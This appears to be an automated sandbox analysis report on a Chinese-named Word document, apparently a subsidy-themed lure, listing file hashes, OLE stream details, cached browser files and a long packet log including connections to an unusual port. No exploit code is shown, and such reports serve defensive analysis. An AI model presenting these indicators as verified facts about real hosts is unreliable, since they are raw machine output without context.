Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 281
Category:	downloaded
Size (bytes):	232
Entropy (8bit):	7.0676437260056115
Encrypted:	false
SSDEEP:	3:FttbL1NiZoYX781qpKiRjsUQs3VoFXggY1nxU2ihA3Q8vatHdWHXbcfdg1imeE:XtbLzA81qpPo+lqE1xU21gaIWrSg1imz
MD5:	D26C13A934C8B22EE43899454C789B9C
SHA1:	416A6678C317A0C76B57D798B5262C58F9DF17FC
SHA-256:	F6922D720C4BCBACD3786AFBA731DC0276255C488139BA8E63339805C1AC505A
SHA-512:	3C1C844AC9ACDEF768EA49DD01965D019078AD0EC626FD0E2456E1AEEAF49B8772785EB1C075C293898EA893B81ECCCBC5D239900452C00F67C4F3E738CBF410
Malicious:	false
URL:	http://push.zhanzhang.baidu.com/push.js
Preview:	..........d.Ak.0.G...IP'...%H.i..^.YJ.G..32..m...+=.2.....c.PH.I..w/..F].......3.\\|..P.....W........ .M.K.k..W.q.....d.rXF.......SG..sR..&...?E../..7....]Vs...Y#6+.....t~.qbBJ.OC...?/..f.h}.....-.,.z8...:.,.....!........Q.w....

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.812719994832686
Encrypted:	false
SSDEEP:	24:BGcFuXgKzPFo+h5DlmObu858kYJn3uapdVmBmOQQ:BGcFuXgUe+h55e8+jsaLVmBa
MD5:	7EF1F0A0093460FE46BB691578C07C95
SHA1:	2DA3FFBBF4737CE4DAE9488359DE34034D1EBFBD
SHA-256:	4C62EEF22174220B8655590A77B27957F3518B4C3B7352D0B64263B80E728F2C
SHA-512:	68DA2C2F6F7A88AE364A4CF776D2C42E50150501CCF9B740A2247885FB21D1BECBE9EE0BA61E965DD21D8EE01BE2B364A29A7F9032FC6B5CDFB28CC6B42F4793
Malicious:	false
Preview:	............ .h.......(....... ..... .....@..............................................'Q...Q......'...........................................%g....o...m...m...o..g......%...........................!h...........@......B...B@...........h......!............o...........=.....F...;...........;...F=...........o...............:.....B...8....P6@.?2K.?1J.P6@........8...B:........v..........\|......x.@G.f@S........8...8....i>L..>A....xk....q...f.....2Y..nTe.}Ti.5k.....o...=R.{.T.r....=...o.y...........q.....k`j.qLY.....k...........s<..eG..j].............R......]GX._NW.iQk.M>Z.....R....^...f......\|..................g.......P0L.SF`....yf...z...t..se....o...=A...A......=...o;_P.bFa.QBd."^g.......i...p.m.....x.My.{Qp........8...8....{Qj..O{...x\|.....e..vT...f..v[.G......B...8....oLj.YCQ.XBP.oKi........8...B@....mT.$nX.....}.....d...i.=......F...;...........;...F=.....i...d.\|..................!m....w...v.@......B...B@.....v...x.l.....!...........................%h....o...d...d...n.h.

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.8675843151291405
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx
File size:	26'753 bytes
MD5:	c89fd5a700182f604ff14d01ed0f3017
SHA1:	1b698f32ca23f1ad02028999298e6c824c701ad5
SHA256:	0c0562ed571c25553f29f2cb5882b299bb5dcb75fb44e9c480c5cf7d50290a0c
SHA512:	ffa71fe551d5457d15b5d6379b727a145a14e22d9e206aba73f545225b7e618a9ebb393b2ae2e37ef830fcd6388d3624933be1a22c9d3033b0807af768cd4464
SSDEEP:	384:bRztOGNkAhoorXmxmkIi53LObAv6ZwmIjnqYmhRfzfrU2NmqR6SXn9KtsQ:R8+xrXmW436bAv6CjnqYg5vU2wqXU3
TLSH:	9DC2AE31C19E987CC30632B5C7414FA7D6BF643AF9E5EF4A786BB2B5440207991A4E09
File Content Preview:	PK.........N.@................docProps/PK.........N.@:.8b5...........docProps/app.xml.Q.n.0..O.?T....... V.i..(.....Fk........Aw...Y.-.-.]...w...%#."..TJ.s.+...E..]..h....Z........+pQ...G..v....t.....S...>...M]+.+#?;....L0.=.......Uq~.............9..#8.0\|

File Icon


Icon Hash:	35e5c48caa8a8599

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	Administrator
Last Saved By:	Administrator
Total Edit Time:	0
Create Time:	2023-02-14T16:40:00Z
Last Saved Time:	2023-03-07T14:22:09Z
Number of Pages:	1
Number of Words:	304
Number of Characters:	335
Creating Application:	WPS Office_11.1.0.13703_F1E327BC-269C-435d-A152-05C5408002CA

Document Summary

Thumbnail Scaling Desired:	false
Contains Dirty Links:	false

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 94

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	94
Entropy:	3.611188570007024
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . F . . . . P i c t u r e ( M e t a f i l e ) . . . . . . . . . S t a t i c M e t a f i l e . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 15 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 13 00 00 00 50 69 63 74 75 72 65 20 28 4d 65 74 61 66 69 6c 65 29 00 ff ff ff ff 03 00 00 00 0f 00 00 00 53 74 61 74 69 63 4d 65 74 61 66 69 6c 65 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
CLSID:
File Type:	data
Stream Size:	20
Entropy:	0.5689955935892812
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: CONTENTS, File Type: Windows metafile, Stream Size: 1436

General
Stream Path:	CONTENTS
CLSID:
File Type:	Windows metafile
Stream Size:	1436
Entropy:	4.734205495806192
Base64 Encoded:	True
Data ASCII:	. . . . . . . M . M . @ . . . . . Q U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = w . . \\ . ] . . . . . j _ q . . ] . . . . . M . . P . V . } o v . . . R ` . K s . . K . . . . . $ . . . . . M . z . f s . . . . 1 . . . p . . . . . . . . . . . . . . . . S . ~ 5 . . . .
Data Raw:	d7 cd c6 9a 00 00 00 00 00 00 4d 00 4d 00 40 02 00 00 00 00 51 55 01 00 09 00 00 03 ba 02 00 00 00 00 91 02 00 00 00 00 04 00 00 00 03 01 08 00 05 00 00 00 0b 02 00 00 00 00 05 00 00 00 0c 02 0e 00 0e 00 03 00 00 00 1e 00 04 00 00 00 07 01 04 00 04 00 00 00 07 01 04 00 91 02 00 00 41 0b 20 00 cc 00 0e 00 0e 00 00 00 00 00 0e 00 0e 00 00 00 00 00 28 00 00 00 0e 00 00 00 0e 00 00 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 04:57:48.481890917 CET	49675	443	192.168.2.4	173.222.162.32
Dec 2, 2024 04:57:52.795629978 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:52.795651913 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:52.795744896 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:52.796011925 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:52.796026945 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:54.702555895 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:54.702620029 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:55.639950991 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:55.640423059 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:55.759979963 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:55.760099888 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:55.760324955 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:55.761527061 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:55.761620045 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:55.880203962 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:56.442856073 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:56.442877054 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:56.443233967 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:56.444098949 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:56.444099903 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:56.444138050 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:56.970153093 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.002695084 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.003110886 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.122817039 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.122992992 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.174987078 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.175057888 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.175230980 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.176018000 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.176035881 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.176045895 CET	49737	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.176049948 CET	443	49737	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.214942932 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.214970112 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.215054035 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.215251923 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:57.215265989 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:57.379698038 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.397850990 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.419980049 CET	49745	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.449744940 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.561315060 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.561563015 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.639039040 CET	49751	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.681211948 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.681302071 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.681411982 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.681456089 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.681488037 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.681658983 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.758934975 CET	80	49751	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.762104988 CET	49751	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:57.801332951 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.801537991 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:57.842305899 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.842346907 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:57:57.842472076 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.842541933 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.842575073 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:57:57.842787027 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.842801094 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:57:57.842807055 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.843014956 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:57:57.843029022 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:57:58.412573099 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.436804056 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.532496929 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:58.536222935 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.540311098 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.556688070 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:58.556747913 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.560843945 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:58.660202980 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:58.680762053 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:58.710822105 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:57:58.830771923 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:57:58.830842018 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:57:58.831088066 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:57:58.934551954 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:58.951001883 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:57:58.986306906 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:58.987365961 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:57:59.032665968 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:57:59.058001041 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:59.058660030 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:59.058677912 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:59.061230898 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:59.061235905 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:59.061316967 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:57:59.061326981 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:57:59.292141914 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:57:59.292167902 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:57:59.292237997 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:57:59.292488098 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:57:59.292503119 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:57:59.960664988 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.960675955 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.960741997 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:59.960892916 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.961045027 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.961107016 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:59.975249052 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.975387096 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.975533009 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:57:59.975723028 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.975759029 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:57:59.976087093 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.045496941 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.045515060 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.045947075 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.045964003 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.046104908 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.046113968 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.046314955 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.046365976 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.046453953 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.046508074 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.047005892 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.047065973 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.047117949 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.047178984 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.048619032 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.048683882 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.048790932 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.048800945 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.048940897 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.049002886 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.049247980 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.049262047 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.091296911 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.091299057 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.171205997 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.172698021 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.172863960 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.173043966 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.186057091 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.186314106 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.292609930 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.292664051 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.292860985 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.306251049 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.453749895 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:00.498136997 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.596976995 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.627413034 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.635344982 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.669619083 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.669658899 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.669706106 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.669722080 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.673243999 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.673352957 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.673408031 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.676373959 CET	49754	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.676392078 CET	443	49754	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.677846909 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.677892923 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.677901030 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.677941084 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.682605982 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.684663057 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.694678068 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.694757938 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.703248978 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.703308105 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.709736109 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.709780931 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.710206032 CET	49761	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.716873884 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:00.716937065 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.717245102 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.830030918 CET	80	49761	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:00.830111027 CET	49761	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:00.836196899 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.836234093 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:00.836292028 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.836476088 CET	49762	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.836488008 CET	443	49762	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:00.837174892 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:00.837862015 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.838001966 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.845607996 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.865159988 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.865220070 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.875613928 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.875673056 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.883075953 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.883130074 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.889064074 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:00.890413046 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.890465021 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.890471935 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.890513897 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.890556097 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.890850067 CET	49753	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.890858889 CET	443	49753	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.896676064 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.896688938 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:00.896791935 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.897093058 CET	49763	443	192.168.2.4	111.45.3.198
Dec 2, 2024 04:58:00.897106886 CET	443	49763	111.45.3.198	192.168.2.4
Dec 2, 2024 04:58:00.909332037 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.909362078 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.909424067 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.909629107 CET	49764	443	192.168.2.4	111.45.11.83
Dec 2, 2024 04:58:00.909641027 CET	443	49764	111.45.11.83	192.168.2.4
Dec 2, 2024 04:58:00.921762943 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.921793938 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.921813965 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.921847105 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.921855927 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.921883106 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.921897888 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.929966927 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.930032969 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.930093050 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.930107117 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.930111885 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.930136919 CET	49748	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.930140972 CET	443	49748	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.957894087 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:00.983402014 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.983428955 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:00.983477116 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.983747959 CET	49765	443	192.168.2.4	20.190.181.3
Dec 2, 2024 04:58:00.983760118 CET	443	49765	20.190.181.3	192.168.2.4
Dec 2, 2024 04:58:01.034598112 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:01.036596060 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:01.036617994 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:01.037585974 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:01.037674904 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:01.038710117 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:01.038770914 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:01.092264891 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:01.092284918 CET	443	49759	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:01.139405012 CET	49759	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:01.299264908 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.299336910 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.299349070 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.299371004 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.300810099 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.300883055 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.300885916 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.305902958 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.306015968 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.306051016 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:01.314698935 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.314789057 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:01.314862967 CET	49755	21233	192.168.2.4	163.171.142.154
